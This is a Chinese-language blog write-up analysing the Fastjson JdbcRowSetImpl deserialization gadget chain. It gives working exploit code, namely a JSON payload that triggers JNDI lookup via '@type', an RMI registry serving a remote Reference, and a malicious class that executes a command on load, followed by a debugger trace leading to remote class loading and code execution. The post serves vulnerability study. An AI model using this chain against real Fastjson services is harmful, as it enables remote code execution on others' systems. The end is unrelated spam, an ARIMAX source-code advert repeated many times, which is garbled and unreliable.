Fastjson利用链JdbcRowSetImpl分析

首先创建客户端

package com.yq1ng.vul;

import com.alibaba.fastjson.JSON;

/**
 * FastJsonTest
 *
 * @author yq1ng
 * @date 2021/12/29 19:45
 * @since 1.0.0
 */
public class FastJsonTest {
    public static void main(String[] args) {
        String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
        JSON.parse(ser);
    }
}

然后是jndi服务端

package com.yq1ng.vul;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * RMIServer
 *
 * @author yq1ng
 * @date 2021/12/29 19:46
 * @since 1.0.0
 */
public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Evil", referenceWrapper);
        System.out.println("Server is running...");
    }
}

接着是恶意类,注意这个恶意类不能带有包名,也就是package

import java.io.IOException;

/**
 * Evil
 *
 * @author yq1ng
 * @date 2021/12/29 19:46
 * @since 1.0.0
 */
public class Evil {
    public Evil(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

然后编译恶意类,并起一个python简单服务,注意python3的启动方式是python -m http.server 8080不再是python -m SimpleHTTPServer 8080

然后启动jndi服务,启动客户端即可

漏洞分析

poc是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}"; ,从上面的反序列化流程可以知道会去调用指定类,然后调用setter,这里会调用setDataSourceName()setAutoCommit()

deserialze后继续调试,断点打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()

这里默认的dataSource是空的,所以会设置为我们传入的恶意rmi。接着来到setAutoCommit()

这里conn为空,所以进行获取,这里形参也解释了为什么payload的autoCommittrue。跟进this.connect()

首先初始化上下文,然后开始找传入的rmi类

继续跟

首先看getRootURLContext(),全局查找的话会有四个类去调用

这里会根据不同协议去调用不同的getRootURLContext(),这里跟进rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()

这里对传入的rmi格式进行检测,代码很长截取部分,一言不合就会抛异常。接着返回

继续跟

首先是一个判空,然后去注册中心找Evil,接着在return跟进rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()

这里将构造的Reference赋值给var3,然后跟进NamingManager.java#getObjectInstance()

到这里跟进getObjectFactoryFromReference()

先从本地尝试加载Evil,如果不存在继续往下看

本地不存在的话就会尝试从codebase中加载class

什么是codebase?以下内容摘自:Java-RMI

codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。
codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。

跟进helper.loadClass()

这里通过URLClassLoader进行加载类。最后进行实例化,导致rce

基于ARIMAX的多变量预测模型python源码+数据集(下载即用),个人经导师指导并认可通过的高分设计项目,评审分99分,代码完整确保可以运行,小白也可以亲自搞定,主要针对计算机相关专业的正在做毕业设计、大作业的学生和需要项目实战练习的学习者,可作为毕业设计、课程设计、期末大作业,代码资料完整,下载可用。 基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即用)基于ARIMAX的多变量预测模型python源码+数据集(下载即
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值